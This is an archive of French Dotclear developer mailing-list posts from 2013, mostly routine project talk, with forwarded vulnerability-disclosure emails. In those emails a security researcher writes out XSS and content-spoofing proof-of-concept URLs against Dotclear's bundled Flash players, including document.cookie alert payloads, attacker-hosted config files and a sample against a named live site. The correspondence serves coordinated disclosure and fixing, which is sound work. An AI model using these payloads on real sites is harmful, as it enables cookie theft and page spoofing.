[sexy] error_handler
by Denis Jean-Christian
Hello les (non) vacanciers,
J'ai fini les quelques fixes que je savais faire sur la branche
"default" et je suis retourné sur la branche "sexy". Ce mail me permet
de faire une petite mise au propre de mes réflexions sur la gestion des
erreurs et surtout d'avoir un petit coup de main ;-)
Je me penche donc sur la mise en place d'un gestionnaire d'erreur pour
TOUT Dotclear, en effet aujourd'hui il y a un peu tout est n'importe
quoi comme manière de lever des erreurs:
- Erreur de lancement avec __error(),
- Erreur interface avec core->error(),
- Erreur divers avec throw new Exception(),
- Erreur style deprecated (comme dans dcSettings) avec trigger_error(),
- ETC...
Avec également encore des différences avec les modes DC_DEBUG, CLI_MODE, ...
Mon but est que tout passer par un seul et même endroit puis d'y
redistribuer après, cela faciliterait la gestion des erreurs et
l'ouverture aux plugins, ou autres gestionnaires de backoffice et aussi
les log en mail/text/base...
Quelques limites se dessinent:
- Pas forcément compatible avec l'existant (surtout pour les plugins),
- Même si l'handler est définie très tôt certaines erreurs risquent
d'être levées avant,
- Certaines erreurs ne peuvent pas être loguées en base car appelées
trop tôt ou dû à la base,
- Pas forcément possible d'utiliser des plugins pour les même raisons
Pour l'instant je n'ai rien coder, je fouille un peu partout pour voir
ce qu'il se fait, si vous avez des avis/idées je suis preneur !
Cordialement,
JC|au chaud
10 years, 9 months
Re: [Dotclear Dev] [Dotclear Tracker] [Dev Dotclear 2] #1397: Bandeau « Merci d'utiliser Dotclear 2.5 »
by Jean-Michel Royer
C'est marrant sa notion d'immense... ;-)
— Jean-Michel.
Le 28 mars 2013 à 01:52, "Dev Dotclear 2" <trac(a)dotclear.net> a écrit :
> #1397: Bandeau « Merci d'utiliser Dotclear 2.5 »
> --------------------------+-------------------------------
> Reporter: dClauzel | Owner: team
> Type: defect | Status: new
> Priority: low | Milestone: A definir
> Component: module:admin | Version: 2.5
> Severity: minor | Keywords: interface, admin,
> --------------------------+-------------------------------
> Avec la v2.5 est apparu dans l'interface d'admin un horrible bandeau en
> bas de page : « Merci d'utiliser Dotclear 2.5 ».
>
> Comment dire… on s'en moque ?
>
> Non seulement ce bandeau prend une place immense à l'écran pour une
> utilité nulle, mais en plus le logo à gauche est coupé sur le bas (cf
> capture d'écran) et agace l'utilisateur qui veut cliquer sur un lien situé
> derrière.
>
> Aller zou, poubelle le bandeau :)
>
> --
> Ticket URL: <http://dev.dotclear.org/2.0/ticket/1397>
> Dev Dotclear 2 <http://dev.dotclear.org/2.0/>
> Dotclear 2 - Blog software
> _______________________________________________
> Tracker mailing list - Tracker(a)list.dotclear.net - http://ml.dotclear.net/listinfo/tracker
11 years
Fwd: Dotclear vulnerabilities
by Alexandre
Je vais peut-être finir par prendre mon courage à deux mains et corriger
les lecteurs flash qui ne sont pas encore parfaitement sécurisés.
J'ai trouvé que quelques passages étaient délirants dans sa réponse.
---------- Forwarded message ----------
From: MustLive <mustlive(a)websecurity.com.ua>
Date: 2013/4/23
Subject: Re: Dotclear vulnerabilities
To: Alexandre <alex(a)pirine.fr>
**
*Hello Alexandre!*
At last I've found time to answer you (while waiting for letters, meanwhile
you can listen my music for better time spending).
As it must be clear for you, Dotclear developers have fixed only part of
the holes (only in one swf-file) and not in two others. Even I've resent my
January's letter to them, they haven't fixed other holes. And this month
I've disclosed it (http://seclists.org/fulldisclosure/2013/Apr/112).
> - How to fix the issues you are talking about. I know absolutely nothing
about Flash. From my understanding, it can execute JavaScript and read
variables in the URL.
Flash can do a lot more that those two things, which you mentioned, as
related to security, as at all. Flash is popular multimedia platform ;-).
I'm developing in Flash since 1999 and have developed a lot of things (but
was planning much more). But particularly in context of security Flash can
be used for some number of attacks and flash applications can have few
classes of vulnerabilities (unlike server side web applications which have
a lot of classes of vulnerabilities - the whole WASC TC 2.0).
In case of Dotclear I've wrote about Cross-Site Scripting and Content
Spoofing vulnerabilities (in three flash applications).
There are many ways to fix these vulnerabilities: direct (in swf-files) and
indirect. Dotclear decided to use indirect variant and block access to
swf-files and pass access via php-file to filter bad parameters. I've wrote
already, that I see it's not sufficient method.
> - How important this security hole is. Most of our users use Apache
without any fancy configuration.
These holes are not too important (but all holes must be fixed). XSS
holes is reflected ones and for them I give medium risk (2/5). And CS holes
is even less important ones and for them I give small risk (1/5).
Concerning your fix, then .htaccess method I consider as not full (since
it's only for Apache, but developers can consider it as "enough", since
most of your users use Apache, as you said). But I also suspect that
this php-file+.htaccess protection isn't reliable enough (if not in case of
swfupload, then in case of player_flv and player_mp3 flashes).
P.S.
Besides, you can listen my fifth commercial release "Perception Of Delight"
(http://soundcloud.com/mustlive/sets/perception-of-delight/), which was
released in December. And other my music (http://soundcloud.com/mustlive).
Best wishes & regards,
Eugene Dokukin aka MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
----- Original Message -----
*From:* Alexandre <alex(a)pirine.fr>
*To:* mustlive(a)websecurity.com.ua
*Sent:* Friday, April 12, 2013 9:17 PM
*Subject:* Dotclear vulnerabilities
Hello Eugene,
Please note, I am not writing on behalf of the Dotclear community, this is
just a personal e-mail.
I was involved in Dotclear development years ago, and I am no longer
actively contributing but still on the mailing lists.
I am trying to figure out several things:
- How to fix the issues you are talking about. I know absolutely nothing
about Flash. From my understanding, it can execute JavaScript and read
variables in the URL.
- How important this security hole is. Most of our users use Apache without
any fancy configuration. The swf files are called indirectly (passing
arguments results in an access forbidden error) and the directory
containing them protected by .htaccess. I agree that this still can not be
considered as "secure", but the vulnerability becomes more limited with
those considerations.
Thank you,
--
Alexandre Syenchuk
--
Alexandre
11 years
Fwd: CMSday 2013 - Inscrivez-vous à la 2ème édition ! Mardi 25 juin à Paris
by Franck Paul
Si ça intéresse quelqu'un :
---------- Message transféré ----------
De : Amelie Vaysse <amelie.vaysse(a)smile.fr>
Date : 23 avril 2013 06:50
Objet : CMSday 2013 - Inscrivez-vous à la 2ème édition ! Mardi 25 juin à
Paris
À : carnet.franck.paul(a)gmail.com
Vous ne parvenez pas à lire ce mail de Smile ? Visualisez la version en
ligne <http://www.cmsday.fr/> [image: La newsletter CMSday] La
rencontre du meilleur des CMS open source <http://www.cmsday.fr/> Le 25
juin 2013 à Paris [image: inscription à
l'événement]<http://www.cmsday.fr/Inscription>
Le CMSday est le premier événement majeur, en France et en Europe, dédié à
la gestion de contenu open source.
Rendez-vous à la MAS-Paris (13ème arrondissement de Paris) le Mardi 25
juin, de 9h00 à 18h30, pour cette 2ème édition !
*Dix-huit CMS éditeurs et communautés* ont répondus présents et
participeront à cette nouvelle édition du CMSday 2013 : *Acquia* (Drupal), *
Ametys*, *CMS Made Simple*, *Drupal France*, *eZ Publish*, *Hippo*, *Jahia*,
*Joomla* (AFUJ), *Liferay*, *Lutece*, *Mura*, *Novius OS*, *Plone*, *RBS
Change*, *Rubedo*, *SPIP*, *TYPO3* et *Wordpress*.
En 2012, le CMSday a rassemblé près de *600 participants*. L’événement sera
cette année encore marqué par de nombreux temps forts, avec des prises de
parole d’experts, des conférences et des tables rondes. Et de nombreuses
nouveautés seront proposées : *espace démos, CMSday Awards, ateliers*...
Le programme sera en ligne prochainement. La qualité du contenu sera cette
année encore au coeur de l'évènement.
Pour en savoir plus sur le CMSday, cliquez ici<http://www.cmsday.fr/Accueil>
[image: inscription à l'événement] <http://www.cmsday.fr/Inscription>
Les grandes thématiques 2013
- CMS & mobilité
- CMS & l'avenir
- CMS & usines à sites
- CMS & multisites
- CMS & SEO...
Le programme complet sera prochainement en ligne.
Le lieu [image: plan du lieu]
MAS PARIS
10 rue des Terres au Curé
75013 Paris
Plan d’accès <http://www.cmsday.fr/Infos-pratiques>
L'entrée au CMSday est gratuite, *sur
inscription*<http://www.cmsday.fr/Inscription>
<http://twitter.com/#!/GroupeSmile><?subject=Recommandation&body=Bonjour,+je+vous+recommande+le+forum+CMSday+le+14+juin+2012+a+Paris+13,+http://www.cmsday.fr/index.html>
www.cmsday.fr
contact(a)cmsday.fr <http://www.smile.fr> Pour vous désabonner de nos
emailings, cliquez sur ce
lien<http://www.smile.fr/unsubscribe_email.php?email=carnet.franck.paul@gmail....>
--
Franck
11 years
Fwd: XSS and CS vulnerabilities in Dotclear
by Dotclear (contact)
Voilà la réponse à ma question de ce matin, je vous laisse le soin de gérer
ça, j'suis à l'ouest point de vue question sécu là (pas encore bien compris
les tenants et les aboutissants de ces failles ni leur dangerosités
potentielles).
---------- Forwarded message ----------
From: MustLive <mustliveua(a)gmail.com>
Date: 2013/4/12
Subject: Re: XSS and CS vulnerabilities in Dotclear
To: "Dotclear (contact)" <contact(a)dotclear.net>
**
*Hi guys!*
You are welcome!.
I was trying to help you yet in 14th of January :-). But it looks like you
haven't received my letter (I always deal with not serious people who don't
receive my letters due to their lame antispam filters, but it's their own
problem and everyone must do everything to receive letters from other
people, make sure that antispam filters work correctly - remove spam, but
left normal letters, especially allow security related letters). This is
strange, that you haven't received my letter from 14th of June, but
received letter from 9th of April. Exactly because I've not received answer
from my letter from 10.04, I've send new letter yesterday from another my
e-mail (from gmail), which I was using for many years specially for such
cases, when I see people not received my letters (with no responses or
there are "returns" that filters don't allow letters from my e-mail, to
bypass such lame filters). This letter I'm sending from my gmail account
for sure.
Because I was planning to disclose this letter this week, since almost
three months passed since informing you in January, so I've reminded
you three days ago. First I planned to disclose it in Tuesday evening, but
because it turned out that you have fixed (and badly) only holes in
SWFUpload, then I postponed it to Wednesday, then to Thursday and now to
Friday evening. But I'm planning to do it at last this evening (and will
write to security lists tomorrow), so you need to fix today these holes in
swf already ;-).
After I saw that you have fixed only holes in SWFUpload and mentioned only
about it, I begun thinking that you haven't received my letter in January.
And you became aware about holes SWFUpload related to Dotclear after my
advisories in November and March. But in that my letter I wrote about much
more holes in your engine (in all three swf-files).
I'm resending my January's letter bellow. Note that in letter I've not
wrote much details of holes in player_mp3.swf to make the letter more
laconical. Anyway holes are similar to player_flv.swf - all CS holes are
similar for both these flash applications and there are no XSS holes in mp3
player. Here are details for player_mp3.swf, so it'll be more obvious for
you (xml and txt config files are similar for both these flashes).
*Content Spoofing (WASC-12):*
http://site/inc/swf/player_mp3.swf?configxml=http://attacker/1.xml
http://site/inc/swf/player_mp3.swf?config=http://attacker/1.txt
http://site/inc/swf/player_mp3.swf?mp3=http://attacker/1.mp3
Certainly give me any URL of web site on Dotclear 2.5, so I can check your
protection against attacks on swf-files. Note that your protection, on
which you referenced (that you made it in version 2.5), is only for Apache
and not for other web servers. As I've checked yesterday, you have used
.htaccess to block access to files (including swf files). But .htaccess
works only in Apache and on nginx and other web servers your engine will
not be protected, and all XSS and CS holes in these three flashes can be
used for attacks.
Best wishes & regards,
Eugene Dokukin aka MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
----- Original Message -----
*From:* MustLive <mustlive(a)websecurity.com.ua>
*To:* contact(a)dotclear.net
*Sent:* Monday, January 14, 2013 12:57 AM
*Subject:* XSS and Content Spoofing vulnerabilities in Dotclear
*Hello developers of Dotclear!*
I want to warn you about Cross-Site Scripting and Content Spoofing
vulnerabilities in Dotclear. After I've wrote about Magazeen theme for
WordPress and Dotclear (which was using vulnerable TimThumb), here are
new vulnerabilities related to Dotclear.
I mentioned about these vulnerabilities in Magazeen theme at my site (
http://websecurity.com.ua/5120/) in 2011. You can read on English: about
vulnerabilities in TimThumb and in multiples themes for different engines (
http://lists.grok.org.uk/pipermail/full-disclosure/2011-April/080258.html)
and about vulnerabilities in Magazeen theme (
http://lists.grok.org.uk/pipermail/full-disclosure/2011-May/080659.html).
These were Cross-Site Scripting (WASC-08), Full path disclosure (WASC-13),
Abuse of Functionality (WASC-42) and Denial of Service (WASC-10)
vulnerabilities in TimThumb and later also Arbitrary File Uploading
(WASC-31) vulnerability. And now I'm informing you about Cross-Site
Scripting and Content Spoofing in core of your CMS.
Your engine has three swf files (according to your site
http://dev.dotclear.org/2.0/browser/inc/swf), I suppose last version
Dotclear 2.4.4 too. And these file are vulnerable to XSS and CS, so your
engine has these holes.
File swfupload.swf it's Swfupload and it has XSS vulnerability. I've wrote
about swfupload.swf in different engines, including in Dotclear, at my site
(http://websecurity.com.ua/6144/) in 2012.
*Cross-Site Scripting (WASC-08):*
http://site/inc/swf/swfupload.swf?movieName=%22]);}catch(e){}if(!self.a)s...<http://site/inc/swf/swfupload.swf?movieName=%22]);%7Dcatch(e)%7B%7Dif(!se...>
File player_flv.swf it's FLV Player and it has a lot of
vulnerabilities. I've wrote about vulnerabilities in FLV Player in
advisory at my site (http://websecurity.com.ua/5098/) in 2011. On English (
http://lists.grok.org.uk/pipermail/full-disclosure/2011-August/082321.html).
*Cross-Site Scripting (WASC-08):*
http://site<http://site/dotclear/inc/swf/player_flv.swf?onclick=javascript:alert(docu...>
/inc/swf/player_flv.swf?onclick=javascript:alert(document.cookie)<http://site/dotclear/inc/swf/player_flv.swf?onclick=javascript:alert(docu...>
*Content Spoofing (WASC-12):*
http://site<http://site/dotclear/inc/swf/player_flv.swf?onclick=javascript:alert(docu...>
/inc/swf/player_flv.swf?configxml=http://attacker/1.xml<http://www.noslibertes.org/dotclear/inc/swf/player_flv.swf?configxml=http...>
Here are all holes in FLV Player.
*Content Spoofing (WASC-12):*
http://site/player_flv_classic.swf?configxml=http://site/1.xml
http://site/player_flv_maxi.swf?configxml=http://site/1.xml
http://site/player_flv_classic.swf?config=http://site/1.txt
http://site/player_flv_maxi.swf?config=http://site/1.txt
http://site/player_flv_classic.swf?flv=http://site/film.flv&startimage=ht...
http://site/player_flv_maxi.swf?flv=http://site/film.flv&startimage=http:...
http://site/player_flv_mini.swf?flv=http://site/film.flv
*XSS (WASC-08):*
http://site/player_flv_maxi.swf?onclick=javascript:alert(document.cookie)<http://site/player_flv_maxi.swf?onclick=javascript:alert(document.cookie>
http://site/player_flv_maxi.swf?ondoubleclick=javascript:alert(document.c...<http://site/player_flv_maxi.swf?ondoubleclick=javascript:alert(document.c...>
http://site/player_flv_maxi.swf?configxml=http://site/xss.xml
File xss.xml
<?xml version="1.0" encoding="UTF-8"?>
<config>
<param name="onclick" value="javascript:alert(document.cookie)" />
<param name="ondoubleclick" value="javascript:alert(document.cookie)" />
</config>
http://site/player_flv_maxi.swf?config=http://site/xss.txt
File xss.txt
onclick=javascript:alert(document.cookie)
ondoubleclick=javascript:alert(document.cookie)
The code will execute after a click (or double click). It's strictly
social XSS.
File player_flv.swf it's some mp3 player, but it has similar holes as FLV
Player (if not all, then many of above-mentioned holes).
*Content Spoofing (WASC-12):*
http://site<http://site/dotclear/inc/swf/player_flv.swf?onclick=javascript:alert(docu...>
/inc/swf/player_mp3.swf?configxml=http://attacker/1.xml<http://www.noslibertes.org/dotclear/inc/swf/player_mp3.swf?configxml=http...>
Vulnerable are all versions of Dotclear - Dotclear 2.4.4 and previous
versions.
Best wishes & regards,
Eugene Dokukin aka MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
----- Original Message -----
*From:* Dotclear (contact) <contact(a)dotclear.net>
*To:* MustLive <mustliveua(a)gmail.com>
*Sent:* Friday, April 12, 2013 8:22 AM
*Subject:* Re: XSS and CS vulnerabilities in Dotclear
Hi,
Of course we will not leave any vulnerabilities in our script, as far as
possible, and we would like to know exactly what are the other holes you
talked about (in two other swf-files). Could you explain us what they are ?
We have also looked carefully in our two different mail archive and cannot
found any mail from you on last 14 january 2013. We heard about this
problems in swfupload by another way. If it was the case we, as usual,
thanks you in a way or another, be sure about this.
Thanks a lot for helping us.
Franck for DC Team
2013/4/11 MustLive <mustliveua(a)gmail.com>
> **
> *Hi Franck!*
>
> So what about those things, which I've wrote you about yesterday?
>
> Are you planning to fix other holes (in two other swf-files), are you
> planning to fix flash-file of SWFUpload or will just use your "non-direct
> access to swf-files" approach (to prevent abuse of vulnerable swf-files
> instead of fixing them), and will you give me any URL of web site on
> Dotclear 2.5, so I can check it?
>
> Best wishes & regards,
> Eugene Dokukin aka MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua
>
> ----- Original Message -----
> *From:* MustLive <mustlive(a)websecurity.com.ua>
> *To:* Dotclear (contact) <contact(a)dotclear.net>
> *Sent:* Wednesday, April 10, 2013 9:47 PM
> *Subject:* Re: XSS and CS vulnerabilities in Dotclear
>
> *Hello Franck!*
>
> Since there was no answer from you on my letter from 14.01.2013, so I
> decided that you've ignored my letter. Because most of those who doesn't
> answer on my letters, they just ignore and don't fix holes. And others (who
> doesn't answer on my letters) fix hiddenly without thanking and without
> official mentioning (at site and/or in changelog) about fixing of
> vulnerabilities and those who informed about them. I haven't received any
> thanks and/or official mentionings of me since 14th of January.
>
> Plus I've informed you about multiple vulnerabilities in three flashes,
> not in just one swf-file (uploader) on which you are referencing (without
> calling its name - SWFUpload, but it's clear for me, but not for others,
> nor it's not count as official referencing on me and to the lists of fixed
> holes, i.e. you should clearly write about fixing three holes: 2 Cross-Site
> Scripting and 1 Content Spoofing vulnerabilities, not mentioning holes in
> two other flash-files). From this it's clear that you've not fixed holes in
> player_flv.swf and player_mp3.swf, just fixed (and badly, see below) holes
> in swfupload.swf.
>
> You said you've fixed holes in SWFUpload, but it's not so. Before sending
> my previous letter to you, I've checked your site, because almost 3 months
> pasted since informing you and I planed to disclose these holes soon. And
> at your site (http://dev.dotclear.org/2.0/browser/inc/swf) I've found
> that none changes were made for player_flv.swf and player_mp3.swf and only
> swfupload.swf was changed (at 13.03.2013) to fix the holes in it. So you've
> ignored holes in first two flashes and just fixed (without answering and
> thanking me) holes in third swf-file. I've downloaded it and checked it
> on localhost and found that it's vulnerable to all holes, which I've
> informed you about. So you didn't fix these holes either. And after that
> I've wrote you my last letter.
>
> In which version (2.5) and how did you fix these holes, since all three
> swf-files are vulnerable? Did you prevent flashes from being called
> directly, as you wrote? Then give me example of any site on Dotclear 2.5,
> so I can check it. I saw only sites with older versions of Dotclear which
> are vulnerable to all these attacks on flashes.
>
> > Note also that any of the injections given in example cannot be used
> with Dotclear as our swf files cannot be called directly.
>
> Why do you think that your swf files can be called directly. At those web
> sites, which I've found in Internet, I see that they can be called
> directly. So I have not seen such protection and for this reason considered
> all vulnerabilities in swf files in Dotclear as real and informed you.
>
> Here are examples of one web site on your engine:
>
> *Cross-Site Scripting (WASC-08):*
>
>
> http://www.noslibertes.org/dotclear/inc/swf/swfupload.swf?movieName=%22])...<http://www.noslibertes.org/dotclear/inc/swf/swfupload.swf?movieName=%22])...>
>
> *Content Spoofing (WASC-12):
>
> *
> http://www.noslibertes.org/dotclear/inc/swf/swfupload.swf?buttonText=test...
>
> *Cross-Site Scripting (WASC-08):*
>
> http://www.noslibertes.org/dotclear/inc/swf/swfupload.swf?buttonText=%3Ca...
>
> And similar attacks on other flash-files, about which I've informed you -
> on XSS and CS vulnerabilities in player_flv.swf and player_mp3.swf.
>
> Best wishes & regards,
> Eugene Dokukin aka MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua
>
11 years, 1 month
rocketSQL : pour ou contre ?
by Greg
Hello,
J'ai remonté récemment sur Dotaddict un plugin qui permet aux
super-administrateurs d'exécuter les requêtes SQL sur la base de données de
la conf' de la plateforme Dotclear.
Si ça peut s'avérer pratique pour supprimer des tables inutiles ou aider au
développement de plugin, il peut être très dangereux pour un super
administrateur maladroit.
Sans parler de confidentialité de tables dans la même base indépendants de
Dotclear.
Et vous, qu'en pensez-vous ?
--
Greg
11 years, 1 month
